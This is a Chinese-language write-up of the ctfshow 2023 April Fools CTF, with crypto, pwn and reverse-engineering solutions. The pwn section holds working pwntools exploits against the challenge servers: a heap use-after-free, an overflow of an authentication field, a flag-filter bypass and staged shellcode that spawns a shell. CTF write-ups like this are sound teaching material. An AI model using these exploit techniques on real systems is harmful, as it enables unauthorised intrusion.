[ctfshow 2023 愚人杯] crypto,rev,pwn
这个愚人杯很厉害呀,感觉脑子不够用的。
第1个热身题,啥都没有,就一句提示“flag是一个不能说的秘密”我想了一天,第二天才想出来。
其它题也都很不错,一直没时间,看了部分别人的,现在babyre还没完成。
Crypto
easybase
显然是个base的题,题目是个hex的串,16-32-64就出来了
大牛的密码
一个查表题类sbox,encrypt1比较复杂但没用到,encrypt2是个查表
from Crypto.Util.number import *
from flag import flag
from Crypto.Util.Padding import pad
from random import *
def s_box(a):
box=[i for i in range(a)]
shuffle(box)
return box
BLOCK=16
flag=pad(flag,BLOCK)
S_BOX=s_box(len(flag))
m=[i for i in flag]
def swap(a,b):
tmp = a
a = b
b = tmp
def encrypt1(m):
enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]
for i in enc:
for j in range(BLOCK):
aa=j*7%BLOCK
swap(i[j],i[aa])
def encrypt2(m):
for i in range(16):
m=[m[i] for i in S_BOX]
return m
encrypt1(m) #未参与加密
c=encrypt2(m)
print(S_BOX)
print(c)
直接查回来即可
s_box = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
for i in range(16):
m = [0]*len(s_box)
for j,v in enumerate(c):
m[s_box[j]] = v
c = m
bytes(m)
#ctfshow{y0u_c5n_make_y0u1_own_CryptO}
comedy
flag分两部分,第1部分是个有限域算式,但域(flag第2部分)没直接给出
import gmpy2, libnum
from secret import flag1, flag2
m = libnum.s2n(flag1)
assert m.bit_length() < 200
B = gmpy2.next_prime(libnum.s2n(flag2))
A = (2022 - 2023 * m) % B
leak = pow(2, 2023, B)
print(A)
print(leak)
根据第1个式子,虽然不能直接算出B,但可以算出包含因子B的数
leak = pow(2, 2023, B) => k*B = 2^2023 - leak
然后以nb为域,A-2022+2023*x 是nb的因子,用CopperSmith方法求部分p
A = 493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak = 238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
nb = 2**2023 - leak
P.<x> = PolynomialRing(Zmod(nb))
f = A-2022+2023*x
g = f.monic()
m = g.small_roots(X=2^200, beta=0.4)[0]
B = f(m)
print(long_to_bytes(m)+long_to_bytes(B))
#m = 2438621860802508754666419561610531898810985542251330229087
#ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}
ecc_mini
一个椭圆曲线的题,
from Crypto.Util.number import *
from secret import flag
flag=bytes_to_long(flag)
a =getPrime(256)
b =getPrime(256)
p =getPrime(256)
m1=int(str(flag)[:5])-4585
m2=int(str(flag)[5:])
#EllipticCurve([a1, a2, a3, a4, a6]) -- y^2+(a1)xy+(a3)y=x^3+(a2)x^2+(a4)x+(a6)
E = EllipticCurve(GF(p), [a, b])
X=E.lift_x(m1)
Y=7*X
m = E.random_point()
G = E.random_point()
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2=m[0]*m2
print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"k = {k}")
print(f"E = {E}")
print(f'Y = {Y}')
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"w2 = {w2}")
题目flag分两部分,第1部分5字节很小,代码第一部分给定Y,且Y=7X求X,由于椭圆曲线没有除法,所以不能直接除,不过由于参数很小,可以爆破
p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405
#求m2
E = EllipticCurve(GF(p), [a, b])
Y = E(33237936857741483513705672980652927705102229733798436323453609986072499230366,52619411226266177137991318059937693955038910547834999771526408984808553907338)
c1 = E(37414446283406201193977113266234367761786780230360175925999700345196415953455,17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 = E(60560423732267272277570046154733119097475794979191838027420415113112056962844,54372226143125971429691267751299496959531971082475860532181772357190222938465)
#爆破m1
for i in range(10000, 99999):
if i%1000 == 0:
print('.')
try:
tmp = E.lift_x(i - 4585)
ty = 7*tmp
if ty == Y:
print(i)
break
except:
pass
#m1 = 62428
第二块是个算式,可以推出来
m = c1 - k*c2
#w2 = m[0]*m2
m2 = (w2 * inverse_mod(m[0], p))%p
#m2 = 7196365442241205186856420688221367789171469258517476477
最后组装在一起(是字符串连接不是加法)
#3
from Crypto.Util.number import *
flag = 624287196365442241205186856420688221367789171469258517476477
print(long_to_bytes(flag))
#ctfshow{the_answer_is_it}
easy_xor
assert len(flag[8:-1])==23
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c1 = m^p
c2 = pow(m,e,n)
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'n = {n}')
题目给出m是32位,相比p(1024)来说很小,给的c1=m^p其实只是异或了后边256位,也就是说这是个部分泄露的题,用coppersmith方法
c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
c2 = 7894512574379281106340582833782408137686355961537832816105517328532111343730615739255485918919146012721446905489729048235088965936700563973759759039693443386542070451737445467143517377017890468837697907596398070608179281207203217576205857817411996178441661371846647602166663752324880657668362355493701482869858528298247422875427747085642627978367348931707497113936723122393282697211257939351221141536029828744507560524637999804394951722319070365576391442828074457050403771353328835153787572457070779602728359333021922987279454923820866436212282592764768470608545881718922440010751845730974331917142224339664090863915
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
#flag 256位, p 前1024-256位已知
pa = c1>>256
P.<x> = PolynomialRing(Zmod(n))
f = (pa<<256)+x
g = f.monic()
k = g.small_roots(X=2**256, beta=0.4)
p = f(k[0])
assert n%p == 0
flag = c1^^int(p)
long_to_bytes(flag)
#ctfshow{m_xor_p_but_coppersmith}
总体来说密码这块还是比较简单的
pwn
pwn这块几个题的问的别人,很多细节没看仔细,所以没找到切入点
check_in
一个堆题,有add,free,show但是是个静态题PIE也没开,地址都知道了show没用只是用来调起后门,在free时有UAF漏洞,分管理块和数据块,只需要建两个大块释放后建小块控制管理块里的指针就OK了,问题是需要找到到shell的入口
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char v2[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, v2, 4);
v1 = atoi((int)v2);
if ( v1 < 0 || v1 >= count )
{
puts("Success!");
exit(0);
}
if ( notelist[v1] )
{
free(*(_DWORD *)(notelist[v1] + 4));
free(notelist[v1]);
puts("Fail");
}
return __readgsdword(0x14u) ^ v3;
}
在程序里有system,do_system结果都不成功,看别人的提示,有一个__libc_start__main(注意这里start和main中间是两个下划线)这是在考眼力啊。
int _libc_start__main()
{
return system((int *)"sh");
}
from pwn import *
#p = process('./check-in.check-in')
p = remote('pwn.challenge.ctf.show', 28108)
context(arch='i386', log_level='debug')
elf = ELF('./check-in.check-in')
def add(size, msg):
p.sendlineafter(b"chioce :", b'1')
p.sendlineafter(b"Note size :", str(size).encode())
p.sendafter(b"Content :", msg)
def free(idx):
p.sendlineafter(b"chioce :", b'2')
p.sendlineafter(b"Index :", str(idx).encode())
def show(idx):
p.sendlineafter(b"chioce :", b'3')
p.sendlineafter(b"Index :", str(idx).encode())
add(0x10, b'A')
add(0x10, b'A')
free(0)
free(1)
add(8, p32(elf.sym['__libc_start__main'])) #not __libc_start_main
show(0)
p.interactive()
easy_sql
这个也是看别人才完成,漏洞比较隐密
先是一个检查,gets溢出可以绕过
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
auth_user = (char *)malloc(0x20uLL);
signal(14, exitfunc);
alarm(0x28u);
puts(a2);
puts(a0);
puts(a2_0);
puts(a3);
puts(a0_0);
puts(a4);
puts(a1);
validate_demo_activation_code(); // CTFshow-demo-code-admin yes
if ( *((_DWORD *)auth_user + 8) != 'yes' )
exit(0);
puts("Welcome to CTFshow-sql!");
puts("This project was made as an extention to the super successful project, sabataD!");
puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");
f_menu();
return result;
}
int validate_demo_activation_code()
{
printf("%s", "Demo activation code: ");
fflush(_bss_start);
fgets(auth_user, 36, stdin);
if ( !strcmp("CTFshow-demo-code-admin", auth_user) && *((_DWORD *)auth_user + 8) == 0x796573 )
return puts("Demo access granted!");
else
return puts("Demo access not granted!");
}
然后是个循环可以读文件和写文件,显然写没有意义,就看读就行了
void f_0()
{
do
{
while ( 1 )
{
while ( 1 )
{
printf("%s", "Query: ");
fflush(_bss_start);
fgets(a_1, 20, stdin);
if ( !strstr(a_1, "read") )
break;
if ( ++a_3 > 2 )
goto LABEL_3;
f_read(); // read
}
if ( strstr(a_1, "write") )
break;
puts("Unrecognised command!");
}
f_write(); // write
++a_3;
}
while ( a_3 <= 2 );
LABEL_3:
printf("You have exhausted the request limit for your CTFshow-sql demo!");
exitfunc((int)"You have exhausted the request limit for your CTFshow-sql demo!");
}
读的时候有个漏洞,a_0在检查通过后会置为1,而检查时用的&&,是说只要一次检查通过以后就不检查了,这个点一直没看到。因为后边有用子进程,然后就一直想子进程的事,大意了。
int f_read()
{
int result; // eax
printf("%s", "database to read from: ");
fflush(_bss_start);
fgets(e_0, 100, stdin);
strtok(e_0, "\n");
if ( (strstr(e_0, "flag") || strchr(e_0, 42) || strchr(e_0, 63)) && !a_0 )// 第1次通过检查后a_0置1,第2次不检查直接通过
{
result = puts("You are not allowed access to that database!");
a_0 = 0;
}
else
{
a_0 = 1;
if ( access(e_0, 0) == -1 )
{
return puts("Tried to open non-existing database");
}
else
{
printf("%s", "database to read: ");
fflush(_bss_start);
fgets(e_1, 7, stdin);
e_2 = atoi(e_1) + 1;
pthread_create(&k_1, 0LL, f_4, 0LL);
result = pthread_join(k_1, 0LL);
a_0 = 0;
}
}
return result;
}
所以只要随便输点啥,不输也行先检查通过一次,然后再输入flag就可以获取文件了
from pwn import *
p = process('./easy_sql.sql')
#p = remote('pwn.challenge.ctf.show', 28108)
context(arch = 'amd64', log_level='debug')
p.sendlineafter(b"Demo activation code: ", b"CTFshow-demo-code-admin".ljust(32, b'\x00')+ b'sey')
p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'') #check OK a_0=1
p.sendlineafter(b"Query: ", b'read')
p.sendlineafter(b"database to read from: ", b'flag') #a_0==1 pass check
p.sendlineafter(b"database to read: ", b'xxx')
p.recv()
p.interactive()
easy_login
题目代码很长,第一步是在login和register之间选择,在堆里用户名结构是64字节:
name:30 password:30 state:4
在login里读入里用的n是0x23正好可以溢出写到state,给它置位。
int m_login()
{
int result; // eax
char v1; // [rsp+Bh] [rbp-5h]
int i; // [rsp+Ch] [rbp-4h]
printf("Username: ");
fflush(stdout);
fgets((char *)ptr + 64 * (__int64)dword_203040, n, stdin);// 35
printf("Password: ");
fflush(stdout);
fgets((char *)ptr + 64 * (__int64)dword_203040 + 30, n, stdin);
strtok((char *)ptr + 64 * (__int64)dword_203040, "\n");
strtok((char *)ptr + 64 * (__int64)dword_203040 + 30, "\n");
for ( i = 0; i < dword_203040; ++i )
{
if ( !strcmp("CTFshow-admin", (const char *)ptr + 64 * (__int64)i)
&& !strcmp("CTFshow-password", (const char *)ptr + 64 * (__int64)i + 30)
&& *((_DWORD *)ptr + 16 * (__int64)i + 15) == 'wat' )
{
printf("Succesfully logged in as user: %s", (const char *)ptr + 64);
result = i;
dword_20303C = i;
return result;
}
}
puts("Incorrect credentials, would you like to register instead?");
printf("[y/n]: ");
fflush(stdout);
v1 = getchar();
result = getchar();
if ( v1 == 'y' )
return m_register();
return result;
}
然后要对照数组输入数据,程序写的很乱,用getc代替gets或者scanf,其实就是用空格分隔的4个串,但最后一个串不会加\0这个得自己写,getc调起来很麻烦,一句句调。
void __fastcall vuln2(__int64 a1)
{
char v1; // [rsp+1Bh] [rbp-A5h]
int i; // [rsp+1Ch] [rbp-A4h]
int j; // [rsp+20h] [rbp-A0h]
int v4; // [rsp+24h] [rbp-9Ch]
int v5; // [rsp+28h] [rbp-98h]
char s[32]; // [rsp+30h] [rbp-90h] BYREF
char v7[32]; // [rsp+50h] [rbp-70h] BYREF
char v8[32]; // [rsp+70h] [rbp-50h] BYREF
char v9[40]; // [rsp+90h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]
v10 = __readfsqword(0x28u);
v5 = 1;
while ( 1 )
{
v4 = 0;
memset(s, 0, sizeof(s));
memset(v7, 0, sizeof(v7));
memset(v8, 0, sizeof(v8));
memset(v9, 0, 0x20uLL); // +8
fflush(stdout);
fflush(stdin);
if ( v5 == 1 )
v5 = 0;
else
++v5;
fflush(stdout);
for ( i = 0; i <= 3 && !v4; ++i ) // 竖向输入,回车或*结束,可能溢出
{
for ( j = 0; ; ++j )
{
v1 = getchar();
if ( v1 == ' ' )
goto LABEL_22;
if ( i == 1 )
{
v7[j] = v1;
}
else if ( i > 1 )
{
if ( i == 2 )
v8[j] = v1;
v9[j] = v1;
}
else if ( !i )
{
s[j] = v1;
}
if ( v1 == '*' || v1 == '\n' )
break;
}
v4 = 1;
fflush(stdin);
LABEL_22:
if ( i == 1 )
{
v7[j + 1] = 0;
}
else if ( i > 1 )
{
if ( i == 2 )
v8[j + 1] = 0;
v9[j + 1] = 0;
}
else if ( !i )
{
s[j + 1] = 0;
}
}
vuln3(s, v7, v8, v9, a1);
fflush(stdout);
}
}
主要是看代码的工夫。
from pwn import *
#p = process('./easy_login.login')
p = remote('pwn.challenge.ctf.show', 28110)
context.log_level = 'debug'
#gdb.attach(p)
#login
p.sendlineafter(b"-- CTFshow Fool's Day terminal based application --\n", b'l')
p.sendlineafter(b"Username: ", b"CTFshow-admin")
p.sendafter(b"Password: ", b"CTFshow-password".ljust(30,b'\x00')+p32(0x776174))
p.sendlineafter(b"[y/n]: ", b'n')
sleep(0.2)
a = ['Fool','Jazz','Mingus','Hat\x00']
a = ' '.join(a)
p.sendline(a.encode())
#p.recvline()
p.interactive()
babypad
这个一层层菜单进,最后猜一个随机数,不过会反馈大还是小,而且无次数限制,猜对既可。
unsigned __int64 game()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = rand() % 10000 + 1;
v1 = 0;
while ( 1 )
{
while ( 1 )
{
printf(aStart);
__isoc99_scanf(&unk_4025CB, &v1);
if ( v2 >= v1 )
break;
puts("B");
}
if ( v2 <= v1 )
break;
puts("S");
}
puts("Great");
puts("Give you some gift!");
_libc_start__main();
return __readfsqword(0x28u) ^ v3;
}
这个也走了点弯路。根据提示用二分法
from pwn import *
#p = process('./babypad')
p = remote('pwn.challenge.ctf.show', 28111)
context(arch='i386', log_level='debug')
elf = ELF('./babypad')
p.sendlineafter(b'>>>', b'A')
p.sendlineafter(b'>>>', b'8')
p.sendlineafter(b'>>>', b'8')
p.sendlineafter(b'>>>', b'D') #-->error_message
p.sendlineafter(b'>>>', b'1')
p.sendline(b'6')
p.sendlineafter(b'Th13_13_ju3t_@_j03ke!',b'3')
p.sendlineafter(b'Choice:', b'1')
left,right = 1,10000
while left<right:
v = ( left + right ) // 2
print(v)
p.sendlineafter( b"Start\xef\xbc\x9a", str(v).encode() )
ret = p.recvline()
if b'B\n' == ret:
right = v
elif b'S\n' == ret:
left = v
elif b'Great\n' == ret:
print('OK')
p.interactive()
else:
pass
看了stone-san的WP,原来可以很简单
srand(time(0)) 是拿当时时间的秒数(从计算机开始点算)当种子,现在计算机都时钟都与标准时间同步,所以在本地也用这个时间就能完成,根本不用去猜。
libc.srand(libc.time(0))
a = str(libc.rand() % 10000 + 1).encode()
sl(a)
baby_shellcode
这个题感觉见过,当时就没弄出来。可以输入9个字符,然后用这9个字符去异或48的密文,恢复shellcode然后执行。
signed __int64 read_code_9()
{
return sys_read(0, buf, 9uLL);
}
__int64 __fastcall run_xor(_BYTE *enc, __int64 len, unsigned __int64 key, unsigned __int64 key_len)
{
unsigned __int64 v6; // rsi
unsigned __int64 v7; // r8
__int64 v8; // rcx
v6 = key;
v7 = 0LL;
v8 = 0LL;
while ( v8 != len ) // 0x48
{
enc[v8] ^= *(_BYTE *)(v6 + v7);
v8 = (unsigned int)(v8 + 1);
key = (v7 + 1) % key_len;
v7 = key;
}
return ((__int64 (__fastcall *)(_BYTE *, unsigned __int64, unsigned __int64, __int64, unsigned __int64, unsigned __int64))enc)(
enc,
v6,
key,
v8,
v7,
key_len);
}
一开始想这里边怎么也得有/bin/sh,或者/bin///sh和syscall吧,但是确实没有。后来一起能不能只用9字节造成shellcode呢,一试还真可以。只需要弄个read(0,buf,n)就行了。
这里需要rax=0,rdi=0,rsi=0x60013f附近,rdx=不太小的数
9字节肯定是不行,gdb跟进到执行时发现
rsi = 0x600136
r10 = 0x48
这样xor rax,rax 两字节,xor rdi,rdi 两字节,mox rdx,r10 3字节,syscall两字节正好。rdi比目的地小点但rdx足够大可以填充。
from pwn import *
p = remote('pwn.challenge.ctf.show', 28112)
context(arch='amd64', log_level='debug')
xcode = bytes.fromhex('b3917fdd6281116a90')
#rsi = 0x600136
#r10 = 0x48
#read(0, 0x600136, 0x48)
a = 'xor eax,eax;xor edi,edi;mov rdx,r10;syscall'
x = xor(asm(a), xcode[:9])
p.send(x)
p.send(b'\x90'*20 + asm(shellcraft.sh()))
p.interactive()
REV
easy_pyc
目前流行的pyc反编译都手搓字节码,但这题显然减小难度,可以直接反编译出python代码
print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):
num = ((flag[i] + i) % 114514 + 114514) % 114514
code += chr(num)
code = map(ord, code)
for i in range((l - 4) + 1):
code[i] = code[i] ^ code[i + 1]
print code
code = [
'%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']
先异或再移位
code = b'\x16\x1d\x1e\x1a\x18\t\xff\xd0,\x03\x02\x148m\x01CD\xbd\xf7*\r\xda\xf9\x1c&5\'\xda\xd4\xd1\x0b\xc7\xc7\x1a\x90D\xa1'
code = [v for v in code]
for i in range(len(code)-4, -1, -1):
code[i]^=code[i+1]
flag = [v-i for i,v in enumerate(code)]
bytes(flag)
#ctfshow{Just_F00l's_D@y_R3_Ch3ck-in!}
easy_re
不清楚为啥杀毒程序会报,本身连壳都没有,就非要杀掉,而且win11更新后还关不掉杀毒软件了。还是linux上好。
程序就一个加密函数,其它就没了
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int v4; // ecx
unsigned int v5; // edi
unsigned int v6; // kr00_4
int v7; // eax
int v9; // [esp-4h] [ebp-414h]
int v10; // [esp+10h] [ebp-400h]
int v11; // [esp+18h] [ebp-3F8h] BYREF
int v12; // [esp+1Ch] [ebp-3F4h] BYREF
char v13[1004]; // [esp+20h] [ebp-3F0h] BYREF
sub_401460(std::cout, byte_4031E8);
sub_401700((int)v13);
sub_401460(std::cout, byte_4031F8);
std::istream::operator>>(std::cin, &v11);
std::istream::operator>>(std::cin, &v12);
v3 = v11 % 299;
v4 = v12 % 299;
v5 = 0;
v10 = v12 % 299;
v6 = strlen(v13);
if ( v6 )
{
do
{
v9 = dword_403AA0[300 * v3 + v4] ^ v13[v5];
v3 = (v9 + v3) % 299;
v10 = (v9 + v10) % 300;
v7 = std::ostream::operator<<(std::cout, v9);
sub_401460(v7, ",");
v4 = v10;
++v5;
}
while ( v5 < v6 );
}
sub_401460(std::cout, asc_403210);
return 0;
}
密文在哪呢,直接打开看,原来是misc串门了,是个复合文件,密文在后边
#阿狸托我给您带个话,base64:flag。。。不好,忘了加密了,重来
a = [90,171,198,235,229,43,246,92,198,203,233,228,6,128,215,68,201,4,220,214,169,245,208,199,112,170,119,251,244,58,237,4,70,231,200,45,186,137,247,225,243,13,145,139,190,146,194,242,253,56,239,5,41,225,105,51,247,79,170,231,88,64,224,138,222,220,229,88,43,117,236,189,228,205,150,65,26,205,232,141,116,149,185,89,212,251,16,215,205,17,238,22,245,77,220,198,224,248,223,209,205,167,223,210,165,247,190,3,5,246,243,228,181,33,42,207,174,138,244,118,192,22,219,60,80,229,144,219,133,211,221,229,190,58,151,240,183,207,221,60,77,217,220,74,105,220,221,165,85,174,43,183,188,190,252,255,130,137,189,201,239,181,150,143,214,203,26,211,103,222,105,87,214,179,83,185,104,206,229,172,221,117,163,57,106,200,46,165,193,135,243,166,168,209,144,52,210,12,58,10,103,5,211,55,172,76,88,250,136,245,167,139,241,26,92,97,139,241,137,27,53,211,251,191,240,173,14,231,241,242,255,122,144,97,234,36,175,155,253,35,156,229,19,166,191,140,195,218,130,35,200,178,245,41,162,243,214,222,87,83,195,144,55,159,208,241,193,233,204,228,196,105,84,58,220,226,1,47,248,138,177,124,236,53,210,79,250,106,27,244,251,203,210,103,213,218,183,4,40,28,12,175,52,224,203,89,176,174,175,233,43,20,103,152,201,4,148,76,241,103,135,139,136,246,80,184,255,194,149,239,206,207,246,166,20,63,202,199,177,214,60,99,74,211,219,94,247,193,40,212,197,175,30,244,41,24,113,27,249,213,225,55,188,193,165,220,174,252,105,154,74,126,174,255,110,169,103,44,246,255,98,251,211,87,171,62,67,250,69,149,18,77,159,137,168,231,187,97,174,115,243,44,128,151,90,246,83,11,138,67,184,22,53,228,230,252,76,112,20,136,131,90,233,248,67,207,61,212,113,62,239,203,201,66,83,179,16,209,253,63,206,208,101,150,196,145,101,220,22,79,241,69,237,219,97,87,20,22,240,244,218,7,237,42,14,8,38,115,141,102,206,191,142,55,196,200,142,98,16,129,53,52,50,197,53,219,2,66,152,192,245,243,69,26,132,240,164,90,246,200,53,89,221,119,139,76,47,132,53,47,249,26,53,141,113,69,76,152,121,193,53,176,97,135,205,206,237,108,251,38,216,108,12,220,209,194,26,243,217,231,36,117,235,106,205,43,254,75,209,141,239,200,5,183,219,166,113,9,16,154,116,144,238,208,245,136,173,16,103,107,114,17,208,181,196,98,212,133,211,252]
密文,算法有了就好办了
def encrypt(k1,k2, plain):
for i in range(len(plain)):
v9 = d_3aa0[300*k1+k2]^plain[i]
k1 = (v9+k1)%299
k2 = (v9+k2)%300
print(f'{v9},')
from base64 import *
def decrypt(k1,k2, cipher):
tk1,tk2 = k1,k2
m = []
x = []
for v9 in cipher[::-1]:
k1 = (k1-v9)%299
k2 = (k2-v9)%300
m.append(d_3aa0[300*k1+k2] ^ v9)
x.append(d_3aa0[300*k1+k2])
flag = bytes(m[::-1])
#print(flag[:10],k1,k2)
if all([1 if v<0x7f else 0 for v in flag]):
print(flag,k1,k2,tk1,tk2)
print(bytes(x).decode('utf-8'))
from pwn import u32
data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]
for k1 in range(299):
for k2 in range(300):
decrypt(k1,k2,a)
出来base64的密文,解出来是个提示
msg ='ZmxhZ+S4jeWcqOi/memHjOWRpiwK5bCx5YOP55Sf5rS777yMCuS9oOi3qOi/h+S6huS6uuWxseS6uua1t++8jArkvaDot6jov4fkuobmmI7mnIjmuIXpo47vvIwK5L2g6KeB6L+H5LqG5LiJ5pu054Gv54Gr77yMCuS9oOingei/h+S6hum7juaYjueahOWfjuW4guOAggoK5L2g6KeJ5b6X5L2g5bey57uP6Laz5aSf5Yqq5Yqb77yMCuS9oOinieW+l+S9oOeQhuW6lOegtOa1quS5mOmjjuOAggrkvaDmu6HouqvnlrLmg6sK5L2g562L55ay5Yqb56utCgrlj6/mg5zvvIznvZfpqazkuI3lnKjliY3mlrnjgIIK5oiW6ICF77yM572X6ams5rC46L+c5Zyo5YmN5pa577yMCuWcqOWIq+S6uuWHuueUn+eahOWcsOaWueOAggoK5pys54u477yM5by654OI5bu66K6u5L2g5Zue5Yiw5pyA5Yid55qE5Zyw5pa5CuWlveWlveeglOeptuS4i+WKoOWvhuefqemYtQrmnInmg4rllpzlk6YK'
b = b64decode(msg).decode('utf-8')
b = 'flag不在这里呦,\n就像生活,\n你跨过了人山人海,\n你跨过了明月清风,\n你见过了三更灯火,\n你见过了黎明的城市。\n\n你觉得你已经足够努力,\n你觉得你理应破浪乘风。\n你满身疲惫\n你筋疲力竭\n\n可惜,罗马不在前方。\n或者,罗马永远在前方,\n在别人出生的地方。\n\n本狸,强烈建议你回到最初的地方\n好好研究下加密矩阵\n有惊喜哦\n'
加密矩阵300*300跟个图似的,一开始把可见字符弄出来,结果看不清,不过也能提交正确。然后想到跟是不是可见字符无关,字符代表灰度
from pwn import u32
data = open('re1.exe', 'rb').read()[0x28a0: 0x5a6e0]
d_3aa0 = [u32(data[i:i+4]) for i in range(0, len(data), 4)]
from PIL import Image
img = Image.new('L', (300,300))
for i in range(299):
for j,v in enumerate(d_3aa0[i*300: i*300+300]):
img.putpixel((i,j),v)
img.save('a.png')
img.show()
#ctfshow{d244daeb-7182-4c98-bec6-0c99329ab71f}
出来 的图镜像一下
easy_cc
上边那题那么繁杂这题突然变简单了,就是个异或
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // esi
FILE *v4; // eax
size_t v5; // eax
unsigned int v6; // ecx
unsigned int v7; // kr00_4
unsigned int v8; // kr04_4
unsigned int v9; // esi
unsigned int v10; // kr08_4
char *v11; // ebx
unsigned int v12; // esi
int v13; // eax
int v15; // [esp-4h] [ebp-20Ch]
char v16[204]; // [esp+0h] [ebp-208h] BYREF
char v17[204]; // [esp+CCh] [ebp-13Ch] BYREF
char Buffer[100]; // [esp+198h] [ebp-70h] BYREF
char v19[8]; // [esp+1FCh] [ebp-Ch] BYREF
strcpy(v19, "key123");
sub_401010((char *)&Format, v16[0]);
v4 = _acrt_iob_func(0);
fgets(Buffer, 100, v4);
v5 = strcspn(Buffer, "\n");
if ( v5 >= 0x64 )
goto LABEL_16;
v15 = v3;
Buffer[v5] = 0;
v6 = 0;
v7 = strlen(Buffer);
if ( v7 )
{
v8 = strlen(v19);
do
{
v17[v6] = Buffer[v6] ^ v19[v6 % v8];
++v6;
}
while ( v6 < v7 );
if ( v6 >= 0xC9 )
goto LABEL_16;
}
v17[v6] = 0;
v9 = 0;
v10 = strlen(v17);
if ( v10 )
{
v11 = v16;
do
{
sub_401040(v11, "%02x", v17[v9++]);
v11 += 2;
}
while ( v9 < v10 );
}
v12 = 2 * v9;
if ( v12 >= 0xC9 )
{
LABEL_16:
__report_rangecheckfailure(v15);
__debugbreak();
}
v16[v12] = 0;
sub_401010("\n", v15);
v13 = strcmp(v16, "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216");
if ( v13 )
v13 = v13 < 0 ? -1 : 1;
if ( v13 )
sub_401010("flag is false: ", v16[0]);
else
sub_401010("flag is true: ", v16[0]);
system("pause");
return 0;
}
a = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"
b = bytes.fromhex(a)
key = b'key123'
from pwn import xor
xor(b,key)
#b'ctfshow{cc_re_good_good!}'
babyre2
这个没完成,杀进程和子进程同步,gdb都不知道跟哪。等着看别人的WP吧